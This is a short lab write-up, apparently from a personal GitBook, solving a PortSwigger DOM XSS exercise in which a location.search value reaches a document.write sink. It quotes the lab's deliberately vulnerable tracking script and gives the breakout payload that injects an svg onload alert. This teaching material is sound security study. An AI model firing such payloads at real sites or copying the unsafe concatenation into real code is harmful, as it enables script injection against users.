> For the complete documentation index, see [llms.txt](https://kunalwalavalkar.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kunalwalavalkar.gitbook.io/write-ups/portswigger-labs/client-side-topics/cross-site-scripting-xss/dom-xss-in-document.write-sink-using-source-location.search.md).

# DOM XSS in document.write sink using source location.search

https\://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FpjDkIKdDibYU3CJAMkla%2F1.png?alt=media&amp;token=02f5fc8d-e2de-4aaa-a631-2f18b6f7825a" alt=""><figcaption></figcaption></figure>

Let's insert the following payload in the search field:

```
test_payload
```

We can now open the developer tools and search our payload.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FJaBjPV775ZIKvpiez7p8%2F2.png?alt=media&amp;token=d881deb7-5fa8-457b-80b5-a73b7e156dea" alt=""><figcaption></figcaption></figure>

We can see that our payload has been inserted in the `<img>` tag more specifically, it has been appended to the source of the image.

Right above that we can see a `<script>` tag which includes the script responsible for the DOM manipulation:

```js
function trackSearch(query) {
    document.write('<img src="/resources/images/tracker.gif?searchTerms=' + query + '">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if (query) {
    trackSearch(query);
}
```

* The `trackSearch()` function takes a `query` parameter and writes an image tag to the document, where the `src` attribute includes the search terms.
* The `query` variable is then assigned the value of the 'search' parameter from the URL using `URLSearchParams`.
* If the 'search' parameter exists in the URL, the `trackSearch()` function is called with the obtained query.

Now that we know how the DOM manipulation works, we can insert our final payload into the application which will generate an alert.

```
"><svg onload=alert(1)>
```

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FVsoBphiEvY17npBiXHz3%2F3.png?alt=media&amp;token=36ade9b2-b7b7-47c5-b429-9d5468dbe4c6" alt=""><figcaption></figcaption></figure>

We have solved the lab.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FpkRCcx7b05q1xsZomFDr%2F5.png?alt=media&amp;token=cb96d399-5b8e-4126-95c4-968ac2f00a91" alt=""><figcaption></figcaption></figure>